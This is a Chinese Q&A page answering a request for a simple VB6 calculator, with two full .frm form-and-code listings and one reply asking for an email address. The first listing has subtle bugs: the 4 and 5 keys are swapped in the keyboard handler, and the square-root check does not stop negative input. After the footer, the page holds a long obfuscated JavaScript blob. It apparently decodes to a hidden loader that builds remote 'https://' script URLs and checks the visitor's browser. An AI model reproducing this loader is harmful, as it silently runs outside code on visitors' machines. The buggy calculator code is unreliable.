15问答网 > 急求;VB程序设计，简单计算器，在线等

急求;VB程序设计，简单计算器，在线等

2024-11-07 23:23:35
推荐回答（3个）
回答1：

将以下文本复制到记事本中，储存为frmMain.frm再用VB打开

VERSION 5.00

Begin VB.Form frmMain 

   Appearance      =   0  'Flat

   BackColor       =   &H80000005&

   BorderStyle     =   3  'Fixed Dialog

   Caption         =   "简单计算器"

   ClientHeight    =   2430

   ClientLeft      =   45

   ClientTop       =   435

   ClientWidth     =   3150

   KeyPreview      =   -1  'True

   LinkTopic       =   "Form1"

   MaxButton       =   0   'False

   MinButton       =   0   'False

   ScaleHeight     =   2430

   ScaleWidth      =   3150

   ShowInTaskbar   =   0   'False

   StartUpPosition =   3  '窗口缺省

   Begin VB.CommandButton Command10 

      Caption         =   "^"

      Height          =   375

      Left            =   1920

      TabIndex        =   22

      Top             =   1920

      Width           =   495

   End

   Begin VB.PictureBox picDisplay 

      Appearance      =   0  'Flat

      BackColor       =   &H80000005&

      ForeColor       =   &H80000008&

      Height          =   255

      Left            =   120

      ScaleHeight     =   225

      ScaleWidth      =   2865

      TabIndex        =   19

      Top             =   120

      Width           =   2895

      Begin VB.TextBox Text1 

         Alignment       =   1  'Right Justify

         BorderStyle     =   0  'None

         Height          =   255

         Left            =   240

         Locked          =   -1  'True

         TabIndex        =   20

         Top             =   0

         Width           =   2535

      End

      Begin VB.Label lblOperation 

         Appearance      =   0  'Flat

         BackColor       =   &H80000005&

         ForeColor       =   &H80000008&

         Height          =   255

         Left            =   60

         TabIndex        =   21

         Top             =   0

         Width           =   255

      End

   End

   Begin VB.CommandButton Command9 

      Caption         =   "退格"

      Height          =   375

      Left            =   1920

      TabIndex        =   18

      Top             =   480

      Width           =   495

   End

   Begin VB.CommandButton Command8 

      Caption         =   "清零"

      Height          =   375

      Left            =   2520

      TabIndex        =   17

      Top             =   480

      Width           =   495

   End

   Begin VB.CommandButton cmdDot 

      Caption         =   "."

      Height          =   375

      Left            =   120

      TabIndex        =   16

      Top             =   1920

      Width           =   495

   End

   Begin VB.CommandButton Command7 

      Caption         =   "Sqrt"

      Height          =   375

      Left            =   2520

      TabIndex        =   15

      Top             =   1920

      Width           =   495

   End

   Begin VB.CommandButton Command6 

      Caption         =   "="

      Height          =   375

      Left            =   1320

      TabIndex        =   14

      Top             =   1920

      Width           =   495

   End

   Begin VB.CommandButton Command5 

      Caption         =   "/"

      Height          =   375

      Left            =   2520

      TabIndex        =   13

      Top             =   1440

      Width           =   495

   End

   Begin VB.CommandButton Command4 

      Caption         =   "*"

      Height          =   375

      Left            =   1920

      TabIndex        =   12

      Top             =   1440

      Width           =   495

   End

   Begin VB.CommandButton Command3 

      Caption         =   "-"

      Height          =   375

      Left            =   2520

      TabIndex        =   11

      Top             =   960

      Width           =   495

   End

   Begin VB.CommandButton Command2 

      Caption         =   "+"

      Height          =   375

      Left            =   1920

      TabIndex        =   10

      Top             =   960

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "9"

      Height          =   375

      Index           =   9

      Left            =   1320

      TabIndex        =   9

      Top             =   480

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "8"

      Height          =   375

      Index           =   8

      Left            =   720

      TabIndex        =   8

      Top             =   480

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "7"

      Height          =   375

      Index           =   7

      Left            =   120

      TabIndex        =   7

      Top             =   480

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "6"

      Height          =   375

      Index           =   6

      Left            =   1320

      TabIndex        =   6

      Top             =   960

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "5"

      Height          =   375

      Index           =   5

      Left            =   720

      TabIndex        =   5

      Top             =   960

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "4"

      Height          =   375

      Index           =   4

      Left            =   120

      TabIndex        =   4

      Top             =   960

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "3"

      Height          =   375

      Index           =   3

      Left            =   1320

      TabIndex        =   3

      Top             =   1440

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "2"

      Height          =   375

      Index           =   2

      Left            =   720

      TabIndex        =   2

      Top             =   1440

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "1"

      Height          =   375

      Index           =   1

      Left            =   120

      TabIndex        =   1

      Top             =   1440

      Width           =   495

   End

   Begin VB.CommandButton Command1 

      Caption         =   "0"

      Height          =   375

      Index           =   0

      Left            =   720

      TabIndex        =   0

      Top             =   1920

      Width           =   495

   End

End

Attribute VB_Name = "frmmain"

Attribute VB_GlobalNameSpace = False

Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True

Attribute VB_Exposed = False

Private Data As Double

Private lOperation As Long

Private fClear As Boolean

Private Sub cmdDot_Click()

If InStr(1, Text1.Text, ".") <= 0 Then Text1.Text = Text1.Text & "."

End Sub

Private Sub Command1_Click(Index As Integer)

If fClear = True Then Text1.Text = "": fClear = False

Text1.Text = Text1.Text & Index

End Sub

Private Sub Command10_Click()

If fClear = False Then

Select Case lOperation

Case 0

Case 1: Text1.Text = Data + Val(Text1.Text)

Case 2: Text1.Text = Data - Val(Text1.Text)

Case 3: Text1.Text = Data * Val(Text1.Text)

Case 4: If Val(Text1.Text) = 0 Then MsgBox "除数不等于0": Exit Sub Else Text1.Text = Data / Val(Text1.Text)

Case 5: Text1.Text = Data ^ Val(Text1.Text)

End Select

End If

Data = Val(Text1.Text)

fClear = True

lOperation = 5

lblOperation.Caption = "^"

End Sub

Private Sub Command2_Click()

If fClear = False Then

Select Case lOperation

Case 0

Case 1: Text1.Text = Data + Val(Text1.Text)

Case 2: Text1.Text = Data - Val(Text1.Text)

Case 3: Text1.Text = Data * Val(Text1.Text)

Case 4: If Val(Text1.Text) = 0 Then MsgBox "除数不等于0": Exit Sub Else Text1.Text = Data / Val(Text1.Text)

Case 5: Text1.Text = Data ^ Val(Text1.Text)

End Select

End If

Data = Val(Text1.Text)

fClear = True

lOperation = 1

lblOperation.Caption = "+"

End Sub

Private Sub Command3_Click()

If fClear = False Then

Select Case lOperation

Case 0

Case 1: Text1.Text = Data + Val(Text1.Text)

Case 2: Text1.Text = Data - Val(Text1.Text)

Case 3: Text1.Text = Data * Val(Text1.Text)

Case 4: If Val(Text1.Text) = 0 Then MsgBox "除数不等于0": Exit Sub Else Text1.Text = Data / Val(Text1.Text)

Case 5: Text1.Text = Data ^ Val(Text1.Text)

End Select

End If

Data = Val(Text1.Text)

fClear = True

lOperation = 2

lblOperation.Caption = "-"

End Sub

Private Sub Command4_Click()

If fClear = False Then

Select Case lOperation

Case 0

Case 1: Text1.Text = Data + Val(Text1.Text)

Case 2: Text1.Text = Data - Val(Text1.Text)

Case 3: Text1.Text = Data * Val(Text1.Text)

Case 4: If Val(Text1.Text) = 0 Then MsgBox "除数不等于0": Exit Sub Else Text1.Text = Data / Val(Text1.Text)

Case 5: Text1.Text = Data ^ Val(Text1.Text)

End Select

End If

Data = Val(Text1.Text)

fClear = True

lOperation = 3

lblOperation.Caption = "*"

End Sub

Private Sub Command5_Click()

If fClear = False Then

Select Case lOperation

Case 0

Case 1: Text1.Text = Data + Val(Text1.Text)

Case 2: Text1.Text = Data - Val(Text1.Text)

Case 3: Text1.Text = Data * Val(Text1.Text)

Case 4: If Val(Text1.Text) = 0 Then MsgBox "除数不等于0": Exit Sub Else Text1.Text = Data / Val(Text1.Text)

Case 5: Text1.Text = Data ^ Val(Text1.Text)

End Select

End If

Data = Val(Text1.Text)

fClear = True

lOperation = 4

lblOperation.Caption = "/"

End Sub

Private Sub Command6_Click()

If fClear = False Then

Select Case lOperation

Case 0

Case 1: Text1.Text = Data + Val(Text1.Text)

Case 2: Text1.Text = Data - Val(Text1.Text)

Case 3: Text1.Text = Data * Val(Text1.Text)

Case 4: If Val(Text1.Text) = 0 Then MsgBox "除数不等于0": Exit Sub Else Text1.Text = Data / Val(Text1.Text)

Case 5: Text1.Text = Data ^ Val(Text1.Text)

End Select

End If

Data = Val(Text1.Text)

fClear = True

lOperation = 0

lblOperation.Caption = ""

End Sub

Private Sub Command7_Click()

If Val(Text1.Text) <= 0 Then MsgBox "开方数大于等于0"

Text1.Text = Sqr(Val(Text1.Text))

Data = Val(Text1.Text)

fClear = True

lOperation = 0

lblOperation.Caption = ""

End Sub

Private Sub Command8_Click()

Text1.Text = ""

lOperation = 0

lblOperation.Caption = ""

End Sub

Private Sub Command9_Click()

If Len(Text1.Text) > 0 Then Text1.Text = Left(Text1.Text, Len(Text1.Text) - 1)

End Sub

Private Sub Form_KeyPress(KeyAscii As Integer)

Select Case KeyAscii

Case Asc("0"): Command1_Click 0

Case Asc("1"): Command1_Click 1

Case Asc("2"): Command1_Click 2

Case Asc("3"): Command1_Click 3

Case Asc("4"): Command1_Click 5

Case Asc("5"): Command1_Click 4

Case Asc("6"): Command1_Click 6

Case Asc("7"): Command1_Click 7

Case Asc("8"): Command1_Click 8

Case Asc("9"): Command1_Click 9

Case Asc("."): cmdDot_Click

Case Asc("+"): Command2_Click

Case Asc("-"): Command3_Click

Case Asc("*"): Command4_Click

Case Asc("/"): Command5_Click

Case Asc("^"): Command10_Click

Case Asc("s"): Command7_Click

Case Asc("S"): Command7_Click

Case vbKeyBack: Command9_Click

Case Asc("`"): Command8_Click

Case Asc("="): Command6_Click

Case 13: Command6_Click

End Select

KeyAscii = 0

End Sub

以下是图片：

回答2：

我有这样一个程序，功能更加好，给我邮箱，我发给你去研究研究吧。

回答3：

'以下保存为 任务名称.frm
VERSION 5.00
Begin VB.Form Form1
Caption = "计算机"
ClientHeight = 4230
ClientLeft = 60
ClientTop = 750
ClientWidth = 3165
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 4230
ScaleWidth = 3165
StartUpPosition = 2 '屏幕中心
Begin VB.Frame Frame1
Height = 3495
Left = 120
TabIndex = 1
Top = 600
Width = 2895
Begin VB.CommandButton cmdResult
Caption = "="
BeginProperty Font
Name = "宋体"
Size = 12
Charset = 134
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 1080
TabIndex = 20
Top = 3000
Width = 1695
End
Begin VB.CommandButton cmdOff
Caption = "OFF"
Height = 375
Left = 1560
TabIndex = 19
Top = 240
Width = 495
End
Begin VB.CommandButton cmdCE
Caption = "CE"
Height = 375
Left = 2280
TabIndex = 18
Top = 240
Width = 495
End
Begin VB.CommandButton cmdchu
Caption = "/"
Height = 375
Left = 2280
TabIndex = 17
Top = 2520
Width = 495
End
Begin VB.CommandButton cmdjia
Caption = "+"
Height = 375
Left = 2280
TabIndex = 16
Top = 720
Width = 495
End
Begin VB.CommandButton cmd0
Caption = "0"
Height = 375
Left = 840
TabIndex = 15
Top = 2520
Width = 495
End
Begin VB.CommandButton cmd6
Caption = "6"
Height = 375
Left = 1560
TabIndex = 14
Top = 1320
Width = 495
End
Begin VB.CommandButton cmd8
Caption = "8"
Height = 375
Left = 840
TabIndex = 13
Top = 720
Width = 495
End
Begin VB.CommandButton cmd4
Caption = "4"
Height = 375
Left = 120
TabIndex = 12
Top = 1320
Width = 495
End
Begin VB.CommandButton cmd9
Caption = "9"
Height = 375
Left = 1560
TabIndex = 11
Top = 720
Width = 495
End
Begin VB.CommandButton cmd2
Caption = "2"
Height = 375
Left = 840
TabIndex = 10
Top = 1920
Width = 495
End
Begin VB.CommandButton cmdjian
Caption = "-"
Height = 375
Left = 2280
TabIndex = 9
Top = 1320
Width = 495
End
Begin VB.CommandButton cmdPoint
Caption = "."
BeginProperty Font
Name = "宋体"
Size = 12
Charset = 134
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 1560
TabIndex = 8
Top = 2520
Width = 495
End
Begin VB.CommandButton cmdcheng
Caption = "*"
Height = 375
Left = 2280
TabIndex = 7
Top = 1920
Width = 495
End
Begin VB.CommandButton cmd5
Caption = "5"
Height = 375
Left = 840
TabIndex = 6
Top = 1320
Width = 495
End
Begin VB.CommandButton cmd3
Caption = "3"
Height = 375
Left = 1560
TabIndex = 5
Top = 1905
Width = 495
End
Begin VB.CommandButton cmd1
Caption = "1"
Height = 375
Left = 120
TabIndex = 4
Top = 1920
Width = 495
End
Begin VB.CommandButton cmd7
Caption = "7"
Height = 375
Left = 120
TabIndex = 3
Top = 720
Width = 495
End
Begin VB.CommandButton cmdChange
Caption = "+/-"
Height = 375
Left = 120
TabIndex = 2
Top = 2520
Width = 495
End
End
Begin VB.TextBox txt
Alignment = 1 'Right Justify
Enabled = 0 'False
BeginProperty Font
Name = "宋体"
Size = 10.5
Charset = 134
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 120
Locked = -1 'True
TabIndex = 0
Top = 120
Width = 2895
End
Begin VB.Menu meuFile
Caption = "文件(&F)"
Begin VB.Menu meuExit
Caption = "退出(&X)"
Shortcut = ^X
End
End
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Dim XiaoShu As Boolean
'在窗体变量中声明一个布尔值来判断是否按下了小数点键，防止txt中出现多个小数。如果已经输入了小数点则Xiaoshu为True，否则为False

Dim FuHao As Byte
'声明一个Byte来记录我们按下了什么符号，1为"+"，2为"-"，3为"*"，4为"/"

Dim FirstNumber As Double
'声明一个变量来记录操作数的第一个数,如A+B，那么FirstNumber来记下A的值。

Dim DengHao As Boolean
'声明一个变量来记录是否按下了=号，如果按下了则为True

Private Sub cmd0_Click()
If txt.Text <> "" Then txt.Text = txt.Text + "0" '防止多个0在文本中出现
End Sub

Private Sub cmd1_Click() '按下1时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "1"
Else
txt.Text = "1" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmd2_Click() '按下2时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "2"
Else
txt.Text = "2" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmd3_click() '按下3时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "3"
Else
txt.Text = "3" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmd4_Click() '按下4时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "4"
Else
txt.Text = "4" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmd5_Click() '按下5时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "5"
Else
txt.Text = "5" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmd6_Click() '按下6时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "6"
Else
txt.Text = "6" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmd7_Click() '按下7时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "7"
Else
txt.Text = "7" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmd8_Click() '按下8时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "8"
Else
txt.Text = "8" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmd9_Click() '按下9时
If Not DengHao Then '没按下等号
txt.Text = txt.Text + "9"
Else
txt.Text = "9" '按下了等号
DengHao = False
End If
End Sub

Private Sub cmdCE_Click()
txt.Text = ""
XiaoShu = False
End Sub

Private Sub cmdChange_Click()
If (Sgn(Val(txt.Text))) = 1 Then txt.Text = "-" + txt.Text: Exit Sub '用Sgn来判断txt文本框内的值的符号。大于0的话就在前面加上"-"
If (Sgn(Val(txt.Text))) = -1 Then txt.Text = Abs(Val(txt.Text)) 'txt文本框的文本为大于0的数txt前面的"-"去掉。
End Sub

Private Sub cmdcheng_Click()
FirstNumber = Val(txt.Text)
FuHao = 3
txt.Text = ""
XiaoShu = False
End Sub

Private Sub cmdchu_Click()
FirstNumber = Val(txt.Text)
FuHao = 4
txt.Text = ""
XiaoShu = False
End Sub

Private Sub cmdjia_Click()
FirstNumber = Val(txt.Text)
FuHao = 1
txt.Text = ""
XiaoShu = False
End Sub

Private Sub cmdjian_Click()
FirstNumber = Val(txt.Text)
FuHao = 2
txt.Text = ""
XiaoShu = False
End Sub

Private Sub cmdOff_Click()
End
End Sub

Private Sub cmdPoint_Click()
If txt.Text = "" Then txt.Text = "0"
If Not XiaoShu Then '当我们以前没有按下小数点键时在txt中加上小数点
txt.Text = txt.Text + "."
XiaoShu = True
End If
End Sub

Private Sub cmdResult_Click()
If FuHao = 1 Then '按下了+号
txt.Text = FirstNumber + Val(txt.Text)
End If
If FuHao = 2 Then '按下了-号
txt.Text = FirstNumber - Val(txt.Text)
End If
If FuHao = 3 Then '按下了*号
txt.Text = FirstNumber * Val(txt.Text)
End If
If FuHao = 4 Then '按下了、号
txt.Text = FirstNumber / Val(txt.Text)
End If
DengHao = True '记录下按了=号
XiaoShu = False
End Sub

Private Sub meuExit_Click()
End
End Sub

相关问答
最新问答
24槽2极单相异步电机怎么接线，这个问题已经困扰了我好久了，希望大家帮忙解决一下，小弟在这多谢了．
怎么才能将笔记本合上之后，程序还能运行，并且不断网
汉口站属于哪个区
关于“剃度”的古诗有哪些？
3万工资扣多少税收
我的教师资格证原证是市教育局的认定机构公章，补办后变成市行政审批服务局的了，其它的没变，有影响吗？
oppor17锁屏后时钟在左上角，怎么调整到中间
类似爱情 第一部 网盘资源
vivoy18l怎么调返回键的振动
玫琳凯能长期使用吗？
返回顶部

内容全部来源于网络收集，如有侵权，请联系网站删除：QQ：24596024

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD 